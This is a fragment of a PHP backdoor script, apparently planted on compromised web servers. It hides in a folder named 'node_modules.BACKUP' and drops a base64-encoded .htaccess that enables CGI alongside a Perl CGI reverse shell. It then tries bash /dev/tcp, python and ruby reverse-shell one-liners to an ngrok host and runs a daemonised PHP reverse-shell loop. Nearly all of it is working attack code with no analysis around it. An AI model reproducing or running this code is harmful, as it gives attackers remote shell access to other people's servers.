"; } else { echo "Folder not found: node_modules.BACKUP
"; } if (file_exists($currentFile)) { unlink($currentFile); echo "Deleted file: " . basename($currentFile) . "
"; } exit; } mkdir('node_modules.BACKUP'); file_put_contents('node_modules.BACKUP/.htaccess',base64_decode('T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5jaW4NCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4NCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuY2lu')); file_put_contents('node_modules.BACKUP/cmd.cin',base64_decode('IyEvdXNyL2Jpbi9wZXJsDQp1c2UgQ0dJOw0KcHJpbnQgQ0dJOjpoZWFkZXIoIC10eXBlID0+ICd0ZXh0L2h0bWwnICk7DQpteSAkaG9zdCA9IENHSTo6cGFyYW0oJ2hvc3QnKTsNCm15ICRwb3J0ID0gQ0dJOjpwYXJhbSgncG9ydCcpOw0KdXNlIFNvY2tldDsNCiRpYWRkcj1pbmV0X2F0b24oJGhvc3QpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwYWRkcj1zb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcHJvdG89Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KY29ubmVjdChTT0NLRVQsICRwYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0Kb3BlbihTVERJTiwgIj4mU09DS0VUIik7DQpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7DQpvcGVuKFNUREVSUiwgIj4mU09DS0VUIik7DQpzeXN0ZW0oJy9iaW4vc2ggLWknKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw')); chmod('node_modules.BACKUP/cmd.cin', 0755); echo 'Perl CGI Script Uploaded'; $VERSION = "1.0"; //ip untuk forward, disini saya menggunakan serveo untuk backconnect $ip = '8.tcp.ngrok.io'; $port = '22800'; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; function cmd($in, $re = false) { $in = $in . ' 2>&1'; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); return $out; } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); return $out; } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); return $out; } elseif (function_exists('shell_exec')) { $out = shell_exec($in); return $out; } elseif (function_exists('popen') && function_exists('pclose')) { if (is_resource($f = @popen($in, 'r'))) { $out = ''; while (!@feof($f)) $out .= fread($f, 1024); return $out; pclose($f); } } else { return false; } return $out; } echo(cmd("bash -i >& /dev/tcp/$ip/$port 0>&1")); echo(cmd("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(($ip,$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")); echo(cmd("ruby -rsocket -e'f=TCPSocket.open($ip,$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'")); if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>